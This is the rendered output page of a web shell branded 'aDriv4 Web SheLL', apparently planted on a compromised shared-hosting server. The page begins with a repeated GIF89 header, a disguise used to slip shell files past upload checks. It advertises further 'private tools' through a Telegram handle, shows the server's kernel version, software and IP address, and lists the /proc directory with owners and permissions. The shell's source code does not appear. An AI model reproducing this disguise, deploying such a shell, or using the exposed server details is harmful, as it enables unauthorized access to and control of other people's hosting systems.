GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium117.web-hosting.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 LiteSpeed
 162.0.229.112
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-11 08:58:34
.. dir - root/root 0755 2025-08-05 08:39:35
3982318 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3982320 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3982583 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3982588 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3982631 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3988293 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3988300 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3999420 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
3999923 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
4000230 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
4000480 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
4003158 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
4003583 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:14
acpi dir - root/root 0555 2025-06-11 08:58:37
bus dir - root/root 0555 2025-06-11 08:58:47
driver dir - root/root 0555 2025-09-08 08:02:14
fs dir - root/root 0555 2025-06-11 08:58:47
irq dir - root/root 0555 2025-06-11 08:58:47
kcare dir - root/root 0555 2025-09-08 08:02:14
lve dir - root/root 0555 2025-09-08 08:02:12
net link - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:14
scsi dir - root/root 0555 2025-06-11 08:58:47
self link - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:09
sys dir - root/root 0555 2025-06-11 08:58:35
sysvipc dir - root/root 0555 2025-09-08 08:02:14
thread-self link - rxflqrzo/rxflqrzo 0555 2025-09-08 08:02:14
tty dir - root/root 0555 2025-09-08 08:02:14
buddyinfo 0 B root/root 0444 2025-09-08 08:02:14
cgroups 0 B root/root 0444 2025-09-08 08:02:14
cmdline text/plain 0 B root/root 0444 2025-09-08 08:02:14
consoles 0 B root/root 0444 2025-09-08 08:02:14
cpuinfo text/plain 0 B root/root 0444 2025-09-08 08:02:10
crypto 0 B root/root 0444 2025-09-08 08:02:14
devices 0 B root/root 0444 2025-09-08 08:02:14
diskstats 0 B root/root 0444 2025-09-08 08:02:13
dma 0 B root/root 0444 2025-09-08 08:02:14
execdomains 0 B root/root 0444 2025-09-08 08:02:14
fb 0 B root/root 0444 2025-09-08 08:02:14
filesystems text/plain 0 B root/root 0444 2025-09-08 08:02:09
interrupts 0 B root/root 0444 2025-09-08 08:02:14
iomem 0 B root/root 0444 2025-09-08 08:02:14
ioports 0 B root/root 0444 2025-09-08 08:02:14
kallsyms 0 B root/root 0444 2025-06-11 08:58:47
kcore 128 TB root/root 0400 2025-06-11 08:58:37
key-users 0 B root/root 0444 2025-09-08 08:02:14
keys 0 B root/root 0444 2025-09-08 08:02:14
kmsg 0 B root/root 0400 2025-09-08 08:02:14
kpagecgroup 0 B root/root 0400 2025-09-08 08:02:14
kpagecount 0 B root/root 0400 2025-09-08 08:02:14
kpageflags 0 B root/root 0400 2025-09-08 08:02:14
loadavg text/plain 0 B root/root 0444 2025-09-08 08:02:14
locks 0 B root/root 0444 2025-09-08 08:02:14
mdstat 0 B root/root 0444 2025-09-08 08:02:14
meminfo text/plain 0 B root/root 0444 2025-09-08 08:02:14
misc 0 B root/root 0444 2025-09-08 08:02:14
modules 0 B root/root 0444 2025-09-08 08:02:14
mounts text/plain 0 B rxflqrzo/rxflqrzo 0444 2025-09-08 08:02:14
mtrr 0 B root/root 0644 2025-06-11 08:58:47
pagetypeinfo 0 B root/root 0400 2025-09-08 08:02:14
partitions 0 B root/root 0444 2025-09-08 08:02:14
sched_debug 0 B root/root 0444 2025-09-08 08:02:14
schedstat 0 B root/root 0444 2025-09-08 08:02:14
slabinfo 0 B root/root 0400 2025-09-08 08:02:14
softirqs 0 B root/root 0444 2025-09-08 08:02:14
stat text/plain 0 B root/root 0444 2025-09-08 08:02:10
swaps 0 B root/root 0444 2025-06-11 08:58:35
sysrq-trigger 0 B root/root 0200 2025-06-11 08:58:47
timer_list 0 B root/root 0400 2025-09-08 08:02:14
uptime text/plain 0 B root/root 0444 2025-09-08 08:02:14
version text/plain 0 B root/root 0444 2025-09-08 08:02:14
vmallocinfo 0 B root/root 0400 2025-09-08 08:02:14
vmstat 0 B root/root 0444 2025-09-08 08:02:14
zoneinfo 0 B root/root 0444 2025-09-08 08:02:14
© aDriv4